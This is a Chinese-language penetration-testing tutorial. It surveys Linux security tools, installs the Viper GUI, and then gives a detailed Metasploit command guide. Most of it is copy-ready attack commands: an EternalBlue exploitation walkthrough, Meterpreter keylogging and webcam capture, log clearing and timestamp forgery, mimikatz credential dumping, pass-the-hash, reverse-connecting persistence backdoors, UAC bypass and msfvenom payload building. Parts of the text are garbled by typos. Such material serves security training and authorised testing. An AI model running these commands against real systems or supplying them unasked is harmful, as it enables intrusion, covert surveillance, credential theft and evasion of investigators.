您会注意到,对于每个扫描或导入的主机,将显示以下信息(如果有):

  • IP 地址
  • 主机名
  • 作业系统
  • 主动服务
  • 主机上次更新的时间戳
  • 主机状态

码主机状态

主机状态描述了主机最近发生的当前事件,主机状态有一个等级顺序。

*Scanned * - 表示已执行发现扫描,Nexpose 扫描或导入。
*Shelled * - 表示已在主机上打开会话。
*Looted * - 表示文件或屏幕快照是从主机获取的。
*Cracked * - 表示来自主机的密码哈希被解密为纯文本。

10 款开源又好用的Linux安全工具

两者被认为在企业漏洞评估和渗透测试中可发挥重要作用。

1.Aircrack-ng(免费):测试Wi-Fi网络安全

Aircrack-ng是一套用于测试无线网络和Wi-Fi协议安全的工具。安全人员使用这款无线扫描工具用于网络管理、黑客攻击和渗透测试。它侧重于监控(捕获数据包并将数据导出到文本文件,供第三方工具进一步处理)、攻击(通过数据包注入回放攻击、取消认证和伪造的接入点)、测试(检查Wi-Fi卡和驱动程序功能)以及破解(WEP和WPA PSK,WPA1和2)。

据Aircrack-ng官网显示,其所有工具都是命令行,允许编写大量脚本。该工具主要适用于Linux,但也适用于Windows、macOS、FreeBSD、OpenBSD、NetBSD以及Solaris甚至eComStation 2。

2.Burp Suite Pro(付费):注重Web应用程序安全

Burp Suite Professional是一个Web应用程序测试套件,用于评估网站安全性。Burp Suite作为本地代理解决方案来运行,让安全人员可以解密、观察、处理和重现Web服务器与浏览器之间的Web请求(HTTP/websocket)和响应,该软件企业版可以支持应用程序开发团队使用的多路并行扫描。

该工具随带被动扫描器,让安全人员可以在手动勘查站点时绘制站点网络图,查找潜在漏洞。Pro版还提供了非常有用的主动Web漏洞扫描器,以便进一步检测漏洞。Burp Suite可以通过插件来扩展,因此安全人员可以自行开发增强功能。Pro版拥有较为可靠的插件,使Burp成为一款应对Web攻击的多工具套件。

3. Impacket(免费):用于渗透测试网络协议

Impacket由SecureAuth开发,对于渗透测试网络协议和服务至关重要。Impacket作为用于渗透测试网络协议的Python类程序运行,致力于对数据包提供低级访问,针对SMB1-3和MSRPC等一些协议,提供实现协议本身服务。安全人员可以从头开始构建数据包,并且可以解析原始数据。该工具中面向对象的API使得用户很容易处理协议的深度层次结构。Impacket采用Apache软件许可证的修改版提供服务。

Impacket支持以下协议:

•以太网和Linux

•IP、TCP、UDP、ICMP、IGMP和ARP

•IPv4和IPv6;

•NMB、SMB1、SMB2和SMB3;

•MSRPC版本5;

•PLAIN验证、NTLM验证和Kerberos验证,使用密码/哈希/票据/密钥。

只要用户提供SecureAuth积分,就能免费使用该软件。

4. Metasploit(付费):检测漏洞的超级工具

Rapid7的这款漏洞利用框架用于一般的渗透测试和漏洞评估,安全人员认为它是一款“超级工具”,可以检测几乎所有最新的客户端漏洞。Metasploit使安全人员能够扫描网络和端点(或导入NMAP扫描结果),以查找漏洞,然后自动执行任何可能的漏洞利用方法以接管系统。

在许多安全测试人员眼里,捕获登录信息一直是一个非常关键的环节。多年来,Metasploit 借助针对特定协议的模块为此提供便利,所有模块都放在auxiliary/server/capture下。安全人员可以单独启动和配置这每个模块,但现在有一个捕获插件可简化这个过程。

Metasploit Pro附带Rapid7提供的商业支持,起价为每年12000美元,但也有免费版本。

5. NCAT(免费):探测网络连接性

NCAT由NMAP的开发商开发,是流行软件NETCAT的后继产品,是当前众多NETCAT版本的代表作,旨在充当一种可靠的后端工具,用于实现与其他应用程序和用户的网络连接。它便于从命令行通过网络读取和写入数据,但增添了SSL加密等功能。

安全专家表示,NCAT已广泛用于托管TCP/UDP客户端和服务器,以发送/接收来自受害者和攻击系统的任意数据。它也是建立反向shell或窃取数据的流行工具。NCAT与IPv4和IPv6都兼容,提供了将NCAT串联起来,将TCP、UDP和SCTP等端口重定向到其他网站以及支持SSL的功能。

6. NMAP(免费):扫描和映射网络

NMAP是一种命令行网络扫描工具,可发现远程设备上的可访问端口。许多专业人员认为,NMAP是最重要、最有效的工具——这款工具非常强大,已成为渗透测试人员的必备工具。

NMAP的旗舰功能是扫描网络以查找活动服务器;扫描服务器上的所有端口,以发现操作系统、服务和版本。通过NMAP的脚本引擎,它会针对发现的任何服务执行进一步的自动化漏洞检测,并自动利用漏洞。

NMAP支持数十种高级技术,用于映射有众多IP过滤器、防火墙、路由器及其他障碍的网络。这些技术包括许多TCP和UDP端口扫描机制、操作系统检测、版本检测和ping扫描。安全人员可以使用NMAP来扫描由成千上万台机器组成的大型网络。

7. ProxyChains(免费):建立网络隧道

作为建立网络隧道的事实标准,ProxyChains让安全人员可以通过各种受感染的机器,从发动攻击的Linux机器发出代理命令,以穿越网络边界和防火墙,同时逃避检测。安全人员经常使用Linux操作系统在网络上隐藏身份。ProxyChains通过TOR、SOCKS和HTTP代理路由传输渗透测试人员的TCP流量。NMAP等TCP侦察工具与之兼容。安全人员还使用ProxyChains来规避防火墙和IDS/IPS检测。

8. Responder(免费):模拟DNS系统受到的攻击

Responder可对NBT-NS(NetBIOS名称服务)、LLMNR(链路本地多播名称解析)和mDNS(多播DNS)发起中毒攻击,渗透测试人员用它来模拟攻击,如果在DNS服务器上没有找到记录时,就在名称解析过程中窃取登录信息及其他数据。

最新版的Responder(v. 3.1.1.0)默认提供完整的IPv6支持,这让安全人员可以对IPv4和IPv6网络执行更多的攻击。由于之前版本的Responder缺乏对IPv6的支持,因而漏过了几条攻击路径,这很重要。特别是考虑到IPv6已成为Windows上的首选网络栈,这一点在纯IPv6网络甚至IPv4/IPv6混合网络上尤为重要。

9. sqlmap(免费):查找数据库服务器中的SQL注入漏洞

sqlmap是一款开源渗透测试工具,可自动检测和利用SQL注入漏洞,这种漏洞可用于接管数据库服务器。该工具附带功能强大的检测引擎,拥有许多用于渗透测试的功能,包括数据库指纹、访问底层文件系统以及通过带外连接在操作系统上执行命令。

安全人员表示,它可以帮助他们自动执行针对各大SQL后端的SQL发现和注入攻击。它支持广泛的数据库服务器,包括MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebird、Sybase、SAP MaxDB和HSQLDB。还支持各种SQL注入攻击,包括基于布尔型的盲注、基于时间的盲注、基于错误的盲注、堆叠查询注入以及带外攻击。

10. Wireshark(免费):流行的网络协议分析器

Wireshark于1998年问世,是一种网络协议分析器,通常名为网络接口嗅探器。最新版本是3.6.3。

Wireshark让安全人员可以观察设备的网络行为,了解它与哪些设备通信(IP 地址)以及原因。在一些较旧的网络拓扑结构中,来自其他设备的网络请求通过安全人员的设备网络接口传输,他们因而可以观察整个网络的流量,而不仅仅是自己的流量。

安全专家表示,这款出色的工具可用来查明DNS服务器及其他服务的位置,以便进一步利用网络的漏洞。Wireshark可在大多数计算平台上运行,包括Windows、MacOS、Linux和Unix。

图形化内网渗透工具 --- Viper(炫彩蛇)​

Viper(炫彩蛇)是一款图形化内网渗透工具,将内网渗透过程中常用的战术及技术进行模块化及武器化.Viper基于msf二次开发, 提供图形化的操作界面,用户基于浏览器即可进行内网渗透。使用的方法都跟msf几乎一样

安装比较简单,没有什么坑,跟着官方给的文档直接安就OK了

viper 使用手册:https://www.yuque.com/vipersec/help/olg1ua​

方法1:脚本安装

curl -o f8x https://f8x.io/   # wget -O f8x https://f8x.io/
bash f8x -viper

方法2:手动安装

切换到 root 用户,确认以下操作都在 root 用户下操作:su - root

安装 docker

curl -sSL https://get.daocloud.io/docker | sh
service docker start

docer version    查看 docker 是否安装成功。 或者执行 docker ps

安装 docker-compose

curl -L https://get.daocloud.io/docker/compose/releases/download/1.25.5/docker-compose-`uname -s`-`uname -m` > /usr/bin/docker-compose

chmod +x /usr/bin/docker-compose           添加执行权限

docker-compose version                                 验证是否安装成功

设置安装目录:export VIPER_DIR=/usr/share/viper

生成安装目录,并进入安装目录:mkdir -p $VIPER_DIR && cd $VIPER_DIR

生成 docker-compose.yml,下面全部复制,粘贴到命令执行

tee docker-compose.yml <<-'EOF'
version: "3"
services:
  viper:
    image: registry.cn-shenzhen.aliyuncs.com/toys/viper:latest
    container_name: viper-c
    network_mode: "host"
    restart: always
    volumes:
      - ${PWD}/loot:/root/.msf4/loot
      - ${PWD}/db:/root/viper/Docker/db
      - ${PWD}/module:/root/viper/Docker/module
      - ${PWD}/log:/root/viper/Docker/log
      - ${PWD}/nginxconfig:/root/viper/Docker/nginxconfig
    command: ["VIPER_PASSWORD"]
EOF

设置登录密码 ( 这里设置为 viper ):export VIPER_PASSWORD=viper

写入密码到 docker-compose.yml:sed -i "s/VIPER_PASSWORD/$VIPER_PASSWORD/g" docker-compose.yml

执行 docker-compose config 如果上面所有操作都正确,则执行正确输出

启动 Viper

cd $VIPER_DIR
docker-compose up -d

所有的 docker-compose 命令必须在安装目录执行才会有效果

等待系统启动,访问 https://yourvpsip:60000  输入用户名 root  密码 即可登录

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第25张图片

使用示例

:https://blog.csdn.net/lza20001103/article/details/124915700

:https://blog.csdn.net/qq_41315957/article/details/124204306

msf 命令

使用 -h  查看命令帮助。

msfconsole     进入 msfconsole 
msfd
msfdb
msf-egghunter
msf-exe2vba         用法:msf-exe2vba [exe] [vba]
msf-exe2vbs         用法: msf-exe2vbs [exe] [vbs]
msf-find_badchars
msf-halflm_second
msf-hmac_sha1_crack
msf-java_deserializer
msf-jsobfu
msf-makeiplist
msf-md5_lookup
msf-metasm_shell
msf-msf_irb_shell
msf-nasm_shell
msf-pattern_create
msf-pattern_offset
msfpc
msf-pdf2xdp
msfrpc
msfrpcd
msfupdate       已经不在支持,使用 apt update; apt install metasploit-framework 代替
msfvenom        Metasploit独立 payload 生成器。也是 msfpayload 和 msfencode 的替代品
msf-virustotal

漏洞排查探测流程

首先拿到需要测试的 IP 地址,然后利用天镜、nessnus、极光工具进行漏洞扫描,扫描完成后进行漏洞探测,把收集到的漏洞在 MSF 漏洞框架下进行测试。进入msfconsole下,输入search 搜索想要渗透测试的实例漏洞编码,如果没有找到我想要的实例漏洞编码那么我就会去百度谷歌上查找想要的漏洞脚本或者漏洞样例,如果找到想要的实例漏洞编码那么就直接输入 use+路径进入,进入后输入show options 或 info 进行查看配置环境,查看后输入 set+关键字 对配置信息做些调整主要调整关键设置有 rhosts、rport、target,调整完配置接下来就可以输入run 或者 exploit 开始攻击了,攻击中如果权限太低那么就提取,如果需要开 3389 测试那么就开启 3389 测试

msf 使用方法

  • 进入框架:msfconsole
  • 使用 search 命令查找相关漏洞: search ms17-010
  • 使用 use 进入模块: use exploit/windows/smb/ms17_010_eternalblue
  • 使用 info 查看模块信息: info
  • 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp
  • 查看模块需要配置的参数:show options
  • 设置参数:set RHOST 192.168.125.138
  • 攻击:exploit / run
  • 后渗透阶段

基于 TCP 协议收集主机信息

use auxiliary/scanner/portscan/syn  (使用辅助模块下的tcp半连接扫描)
show missing             (显示你该设置而没有设置的参数)
set RHOSTS  192.168.1.1   (设置主机ip)
set PORTS  80   
run

一些常用的破解模块
auxiliary/scanner/mssql/mssql_login 
auxiliary/scanner/ftp/ftp_login 
auxiliary/scanner/ssh/ssh_login 
auxiliary/scanner/telnet/telnet_login 
auxiliary/scanner/smb/smb_login 
auxiliary/scanner/mssql/mssql_login 
auxiliary/scanner/mysql/mysql_login 
auxiliary/scanner/oracle/oracle_login 
auxiliary/scanner/postgres/postgres_login 
auxiliary/scanner/vnc/vnc_login 
auxiliary/scanner/pcanywhere/pcanywhere_login 
auxiliary/scanner/snmp/snmp_login 
auxiliary/scanner/ftp/anonymous

一些好用的模块
auxiliary/admin/realvnc_41_bypass (Bypass VNCV4网上也有利用工具) 
auxiliary/admin/cisco/cisco_secure_acs_bypass (cisco Bypass 版本5.1或者未打补丁5.2版 洞略老) 
auxiliary/admin/http/jboss_deploymentfilerepository (内网遇到Jboss最爱:)) 
auxiliary/admin/http/dlink_dir_300_600_exec_noauth (Dlink 命令执行:) 
auxiliary/admin/mssql/mssql_exec (用爆破得到的sa弱口令进行执行命令 没回显:() 
auxiliary/scanner/http/jboss_vulnscan (Jboss 内网渗透的好朋友) 
auxiliary/admin/mysql/mysql_sql (用爆破得到的弱口令执行sql语句:) 
auxiliary/admin/oracle/post_exploitation/win32exec (爆破得到Oracle弱口令来Win32命令执行) 
auxiliary/admin/postgres/postgres_sql (爆破得到的postgres用户来执行sql语句)

一些好用的脚本
uxiliary/scanner/rsync/modules_list (Rsync) 
auxiliary/scanner/misc/redis_server (Redis) 
auxiliary/scanner/ssl/openssl_heartbleed (心脏滴血) 
auxiliary/scanner/mongodb/mongodb_login (Mongodb) 
auxiliary/scanner/elasticsearch/indices_enum (elasticsearch) 
auxiliary/scanner/http/axis_local_file_include (axis本地文件包含) 
auxiliary/scanner/http/http_put (http Put) 
auxiliary/scanner/http/gitlab_user_enum (获取内网gitlab用户) 
auxiliary/scanner/http/jenkins_enum (获取内网jenkins用户) 
auxiliary/scanner/http/svn_scanner (svn Hunter) 
auxiliary/scanner/http/tomcat_mgr_login (Tomcat 爆破) 
auxiliary/scanner/http/zabbix_login (Zabbix )

实战: 使用 msf 渗透 Win7 主机并远程执行命令

  1. 前期:win7 x64旗舰版操作系统 |  利用ms17-010 这个漏洞 
  2. msf6 > search ms17-010 |  设置辅助模块auxiliary 目标主机(win7)ip :use  auxiliary/scanner/smb/smb_ms17_010 ,set rhosts 192.168.x.x   | 备注:取消设置unset RHOSTS   
  3. 设置攻击模块:search ms17-010 | 使用永恒之蓝漏洞(eternalblue):use exploit(windows/smb/ms17_010_eternalblue)
  4. show  options |  设置目标主机(win7)ip :set RHOSTS  192.168.x.x  | 查看options配置是否正确 设置攻击载荷:set payload windows/x64/meterpreter/reverse_tcp 
  5. show targets 检查可攻击的目标主机 | set target 4 设置正确的可攻击的目标主机 | 检查payload 检查端口是否被占用
  6.  run | exploit 开始攻击
  7. 如果目标主机是win7 可以通过chcp 65001 解决乱码问题 |  backgroud 保存连接到后台 | sessions 查看所有连接
  8. net user 查看所有用户 |  help 查看所有可执行的命令 | run VUC 远程监控 | session -i 4(数字) 进入连接 | run -j 保存到后台连接 | sessions -k 5(数字)  删除连接 | 

实战:使用 msf 扫描靶机上 mysql 服务的空密码

  1. msf 搜索 mysql:search mysql |  use  auxiliary(scanner/mysql/mysql_login)使用mysql_login登录密码 
  2. set  rhosts  192.168.x.x(靶机ip)|  set username root 设置mysql用户为root 
  3. run |  exploid 直接执行攻击 
  4. creds 列出postgrepsql 所有凭证 
  5. 将扫描结果导出 metasploit,然后将结果导入另一台机器的 metasploit 中。
            db_connect      连接到现有的数据库
            db_disconnect   断开当前连接的数据库
            db_export       导出包含数据库内容的文件
            db_import       导入扫描结果文件 ( 文件类型被自动检测 )
  6. db_export -h 查看导出帮助,导出格式(xml、pwdump) | db_export -f xml /root/bak.xml 导出所有数据库到kali /root目录下
  7. 清空 msf 数据库:msfdb  reinit |  services 查看所有漏洞利用过的服务信息
  8. hosts 查看所有连接过的主机 | db_import /root/bak.xml 导入数据库  | hosts -h查看主机帮助 | hosts -a|-d 添加|删除主机

msfconsole   常用命令总结

如果想要把结果存到数据库,则可以开启 postgresql:

  • systemctl  start postgresql
  • systemctl enable postgresql

启动 msf:msfconsole

msf help  帮助信息:

msf6 > help
核心 命令
    ?             帮助。用法:? 后面加命令(中间有空格)
    banner        显示 metasploit 的 banner
    cd            切换目录
    color         切换颜色
    connect       连接一个主机
    debug         显示调试有用的信息
    exit          退出
    features      显示尚未发布的功能列表,可以选择加入
    get           获取上下文特定变量的值
    getg          获取全局变量的值
    grep          Grep 另一个命令的输出
    help          帮助。用法:命令 help
    history       显示输入命令的历史记录
    load          载入插件
    quit          退出 console
    repeat        重复执行命令
    route         查看一个会话的路由信息
    save          保存动作
    sessions      转储会话列表,显示会话信息
    set           给一个变量赋值
                  示例:
                        set rhosts    设置远程IP
                        set lhost     设置我的IP
                        set lport     设置端口
                        set srvport 8888 
                  
    setg          给一个 全局 变量赋值
    sleep         在指定的秒数内不执行任何操作
    spool         将控制台输出写入文件以及屏幕
    threads       查看和操作后台线程
    tips          显示提示
    unload        卸载插件
    unset         解除一个或多个变量
    unsetg        解除一个或多个全局变量
    version       显示MSF和控制台版本

模块命令( 只能在模块下使用 )
    advanced      显示高级选项
    back          返回 上一级
    clearm        清除模块堆栈
    favorite      向收藏模块列表中添加模块
    info          显示一个或多个模块的信息,即漏洞的信息
    listm         列出模块堆栈
    loadpath      在路径中搜索和加载模块
    options       显示模块的全局选项
    popm          将最新的模块从堆栈中弹出并使其激活
    previous      将先前加载的模块设置为当前模块
    pushm         将活动模块或模块列表压入模块堆栈
    reload_all    从所有已定义的模块路径重新加载所有模块
    search 关键字                 搜索包含 关键字 的模块
    search windows type:exploit   只搜索包含windows的攻击模块
    show          按两次键盘上的Tab键,显示 show 可用参数
    show 模块名   查看模块包含的内容
                show all        
                show auxiliary  
                show encoders   
                show exploits   
                show favorites  
                show nops       
                show options    
                show payloads   
                show plugins    
                show post
    use           进入模块。用法:use 序列号(escription) 或者 use 路径

作业(Job) 命令
============
    handler       开始 "处理payload" 作业
    jobs          显示和管理所有作业。
    kill          结束一个作业。
    rename_job    重命名一个作业。

资源 脚本 命令
========================
    makerc        将从开始到结束时输入的所有命令保存到一个文件中。
    resource      运行存储在文件中的命令。

数据库 后端 命令
=========================
    analyze           分析指定的 地址、地址段
    db_connect        连接到已经存在的数据库服务
    db_disconnect     断开当前的数据库服务
    db_export         导出到文件
    db_import         导入扫描结果文件(文件类型将自动检测)
    db_nmap           执行nmap并自动记录输出
    db_rebuild_cache  重建数据库存储的模块缓存(已弃用)
    db_remove         删除保存的数据服务条目
    db_save           保存当前数据服务连接为默认值,以便在启动时重新连接
    db_status         显示当前 数据服务 状态
    hosts             列出数据库中的所有主机
    loot              列出数据库中的所有 战利品(肉鸡)
    notes             列出数据库中的所有注释
    services          列出数据库中的所有服务
    vulns             列出数据库中的所有漏洞
    workspace         在数据库工作区之间切换

凭证 后端 命令
============================    
    creds         列出数据库中的所有凭据

开发者 命令
==================
    edit          编辑当前模块或文件
    irb           在当前上下文中打开一个交互式Ruby shell
    log           如果可能的话,将 frame.log 分页到最后
    pry           打开当前模块或框架上的Pry调试器
    reload_lib    从指定路径重新加载Ruby库文件
    time          运行特定命令所需的时间

msfconsole
==========
msfconsole 是Metasploit框架的主要接口
示例:
sessions -k 1             终止第一个会话
jobs -k 2-6,7,8,11..15    停止一些正在运行的额外作业
check 127.168.0.0/16, 127.0.0-2.1-4,15 127.0.0.255    检查一组IP地址
set RHOSTS fe80::3990:0000/110, ::1-::f0f0  目标IPv6主机
set RHOSTS www.example.test/24              从一个已解析的域名中获取 IP地址

msf6 > 

可以看到,帮助信息主要分下面几类命令

  • Core Commands    # 核心命令
  • Module Commands    # 模块命令
  • Job Commands    # 后台任务命令
  • Resources Script Commands    # 资源脚本命令
  • Database Backend Commands    # 数据库后端命令
  • Credentials Backend Commands    # 证书 / 凭证 后端命令
  • Developer Commands    # 开发人员命令

search keywords(参数)

  • 查找 名字查找 mysql 的漏洞:search name:mysql
  • 通过路径查找模块:search path:mysql
  • 通过平台查找:search platform mysql
  • 搜索 linux 平台的 exploits(渗透攻击模块):search type:exploits name:linux
    搜索出来后,每列的含意是:
            #         编号
            Name      名称
            Disclosure Date       披露曰期
            Rank         排名等级
            Check        检查
            Description  说明、描述

    每一个漏洞利用模块基于它们对目标系统的潜在影响都被标记了一个 Rank 字段。用户可以基于Rank 对漏洞利用模块进行搜索,分类以及排序。Rank 按照可靠性降序排列:

    excellent 漏洞利用程序绝对不会使目标服努崩溃,就像Sq|l注入、命令执行、远程文件包含、 本地文件包含等等。除非有特殊情况,典型的内卢破坏利用程序不可以被评估为该级别。一
    great 该漏洞利用程序有一个默认的目标系    井且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一介特定的返回地址。
    good 该漏洞利用程序有一个默认目标系统,井且是这种类型软件的"常见情况"(桌面应用程序的 Windows 7,服务器的2012等)
    normal 该漏洞利用程序是可靠的,但是依赖于特定的版本并且不能或者不能可靠地自动测。
    average 该漏洞利用程序不可靠或者难以利用。
    low 对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于50%的利用成功率)
    manual 该漏洞利用程序不稳定或者难以利用井且基于拒绝服务(DOS)。如果模块只在用户特别配置的时候才会被用到,否则不会被使用到,那么也可以评为该等

根据 CVE( 好比一个字典,什么字典呢?存放广泛认同的信息安全漏洞或已经暴露出来的弱点给出一个公共的名称)搜索 exploit 相关模块

  • search cve:CVE-2017-8464  type:exploit   搜索这个漏洞的渗透攻击模块
  • search cve:2020 type:linux 
  • use  编号(0,1,2,3....)        使用漏洞
  • back                                 退出当前漏洞,但是不退出 msf
  • info                                显示漏洞详细信息
  • show  options                查看漏洞利用所需要的信息
  • show targets                 显示这个漏洞可以利用的所有平台
  • set  target 34                 设置漏洞利用平台编号为34的平台
  • set rhosts 192.168.56.xxx   设置目标主机ip
  • run         直接运行漏洞
  • shell       进入目标机执行脚本 

一些常用命令

show exploits   列出metasploit框架中的所有渗透攻击模块
show payloads   列出metasploit框架中的所有攻击载荷
show auxiliary  列出metasploit框架中的所有辅助攻击载荷
search name     查找metasploit框架中所有的渗透攻击和其他模块
info            展示出制定渗透攻击或模块的相关信息
use name        装载一个渗透攻击或模块

LHOST           本地可以让目标主机连接的IP地址,
                通常当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用
RHOST           远程主机或是目标主机

set function    设置特定的配置参数
setg function   以全局方式设置特定的配置参数

show options    列出某个渗透攻击或模块中所有的配置参数
show targets    列出渗透攻击所有支持的目标平台

set target num    指定你所知道的目标的操作系统以及补丁版本类型
set payload name  指定想要使用的攻击载荷

show advanced     列出所有高级配置选项
set autorunscript migrate -f  在渗透攻击完成后,将自动迁移到另一个进程

check             检测目标是否选定渗透攻击存在相应的安全漏洞
exploit           执行渗透攻击或模块来攻击目标
exploit -j        在计划任务下进行渗透攻击
exploit -z        渗透攻击完成后不与回话进行交互
exploit -e encoder   制定使用的攻击载荷编码方式
exploit -h           列出exploit命令的帮助信息
sessions -l          列出可用的交互会话
sessions -l -v       列出所有可用的交互会话以及详细信息,EG:攻击系统时使用了哪个安全漏洞
sessions -s script   在所有活跃的metasploit会话中运行一个特定的metasploit脚本
sessions -K          杀死所有活跃的交互会话
sessions -c cmd      在所有活跃的metasploit会话上执行一个命令

sessions -u sessionID  升级一个普通的win32 shell到metasploit shell
db_create name         创建一个数据库驱动攻击所要使用的数据库
db_connect name        创建并连接一个数据库驱动攻击所要使用的数据库
db_namp                利用nmap并把扫描数据存储到数据库中
db_autopwn -h          展示出db_autopwn命令的帮助信息
db_autopwn -p -r -e    对所有发现的开放端口执行db_autopwn,攻击所有系统,并使用一个反弹式shell
db_destroy             删除当前数据库


# execute命令是在后渗透阶段,在目标机中执行文件
execute -H -i -f  cmd.exe   # 创建新进程cmd.exe,-H不可见,-i交互
execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"

load 可载入的 插件

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第26张图片

-d 在目标主机执行时显示的进程名称(用以伪装)-m 直接从内存中执行

"-o hack.txt"是payload.exe的运行参数
migrate进程迁移
getpid    # 获取当前进程的pid
ps   # 查看当前活跃进程
migrate    # 将Meterpreter会话移植到指定pid值进程中
kill   # 杀死进程
clearev清除日志
clearev  # 清除windows中的应用程序日志、系统日志、安全日志
timestomp伪造时间戳
timestomp C:\ -h   #查看帮助
timestomp -v C:\2.txt   #查看时间戳
timestomp C:\2.txt -f C:\1.txt #将1.txt的时间戳复制给2.txt
timestomp  c:\test\22.txt -z "03/10/2019 11:55:55" -v # 把四个属性设置为统一时间
portfwd端口转发
portfwd add -l 1111 -p 3389 -r 127.0.0.1 #将目标机的3389端口转发到本地1111端口
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码
autoroute添加路由
run autoroute -h # 查看帮助
run get_local_subnets # 查看目标内网网段地址
run autoroute -s 192.168.183.0/24  # 添加目标网段路由
run autoroute -p  # 查看添加的路由
利用arp_scanner、portscan等进行扫描
run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389
Socks代理
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 2000
run

然后vim /etc/proxychains.conf ,在文件末尾添加socks4代理服务器

socks4 127.0.0.1 2000
proxychains nmap -Pn -sT 192.168.80.129 -p1-1000   #proxychains代理访问执行nmap操作

键盘记录

keyscan_start  # 开始键盘记录
keyscan_dump   # 导出记录数据
keyscan_stop   # 结束键盘记录

网络摄像头

record_mic  # 音频录制
webcam_chat  # 开启视频聊天(对方有弹窗)
webcam_list  # 查看摄像头
webcam_snap  # 通过摄像头拍照
webcam_stream  # 通过摄像头开启视频监控(以网页形式进行监控≈直播)

截屏

screenshot  # 截屏
use espia  # 使用espia模块
screengrab  # 截屏

绕过 UAC 提权

msf内置一些bypassuac脚本,原理不同,使用方法类似,执行后返回一个新的会话,执行getsystem即可提权

exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs

use exploit/windows/local/bypassuac
set session 1
run
getsystem
窃取hash及密码&哈希传递

窃取 hash 及 密码

hashdump
run post/windows/gather/smart_hashdump
得到的hash可以拿去https://cmd5.com/ 解密一下即是用户密码

#mimikatz
load mimikatz # 加载mimikatz模块
msv  # 获取用户和hash值
kerberos  # 获取内存中的明文密码信息
wdigest  # 获取内存中的明文密码信息
mimikatz_command -f a:: # 需要以错误的模块来让正确的模块显示
mimikatz_command -f sekurlsa::searchPasswords # 获取用户密码
mimikatz_command -f samdump::hashes  # 执行用户hash

#哈希传递
#利用hashdump得到用户的hash后可利用psexec模块进行哈希传递攻击。
使用psexec的前提:SMB服务必须开启,也就是开启445端口;Admin$可以访问
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf4ee:3db678
set SMBDOMAIN  WORKGROUP   # 域用户需要设置SMBDOMAIN
run
RDP
#getgui命令
#这里需要注意的是通过getgui命令,虽然可以成功添加用户,但是没有权限远程登录桌面,这里推荐使用enable_rdp脚本添加。
run getgui –h  # 查看帮助
run getgui -e  # 开启远程桌面
run getgui -u admin -p admin  # 添加用户
run getgui -f 6666 -e  # 3389端口转发到6666

#enable_rdp脚本
#通过enable_rdp脚本将用户添加到远程桌面用户组和管理员用户组
run post/windows/manage/enable_rdp  #开启远程桌面
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用户
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667  # 将3389端口转发到6667

远程桌面

enumdesktops  # 查看可用的桌面
getdesktop    # 获取当前meterpreter 关联的桌面
setdesktop    # 设置meterpreter关联的桌面  -h查看帮助
run vnc   # 使用vnc远程桌面连接
rdesktop 127.0.0.1:1111 # 需要输入用户名密码连接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用户名 -p 密码

后门植入

Persistence(通过启动项安装)
run persistence –h  # 查看帮助
run persistence -X -i 5 -p 4444 -r 192.168.183.147
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\Windows\System32
-X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数
-U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息
-L:后门传到远程主机的位置默认为%TEMP%
-i:设置反向连接间隔时间为5秒
-p:设置反向连接的端口号
-r:设置反向连接的ip地址

利用 msfvenom 生成 木马

msfvenom 命令

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第27张图片

中文版: 

Options:    
-p, --payload           指定需要使用的payload(攻击荷载)。如果需要使用自定义的payload,请使用'-'或者stdin指定     
-l, --list       [module_type]   列出指定模块的所有可用资源. 模块类型包括: payloads, encoders, nops, all     
-n, --nopsled            为payload预先指定一个NOP滑动长度     
-f, --format             指定输出格式 (使用 --help-formats 来获取msf支持的输出格式列表)     
-e, --encoder    [encoder]       指定需要使用的encoder(编码器)     
-a, --arch         指定payload 的目标架构,这里x86是32位,x64是64位      
-platform              指定 payload 的目标平台     
-s, --space              设定有效攻击荷载的最大长度     
-b, --bad-chars            设定规避字符集,比如: 'x00xff'     
-i, --iterations          指定payload的编码次数     
-c, --add-code             指定一个附加的win32 shellcode文件     
-x, --template             指定一个自定义的可执行文件作为模板     
-k, --keep                       保护模板程序的动作,注入的payload作为一个新的进程运行         
--payload-options                列举payload的标准选项     
-o, --out                  保存payload     
-v, --var-name             指定一个自定义的变量,以确定输出格式         
--shellest                       最小化生成payload     
-h, --help                       查看帮助选项         
--help-formats                   查看msf支持的输出格式列表

渗透测试 ( 3 ) --- Metasploit Framework ( MSF )_第28张图片

构造 shellcode 常用命令

msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0b\x27\x36\xce\xc1\x42\xa9\x0d" -f c
msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0b\x27\x36\xce\xc1\x42\xa9\x0d" -f python

查看一个Payload具体需要什么参数
命令:msfvenom -p windows/meterpreter/bind_tcp --payload-options

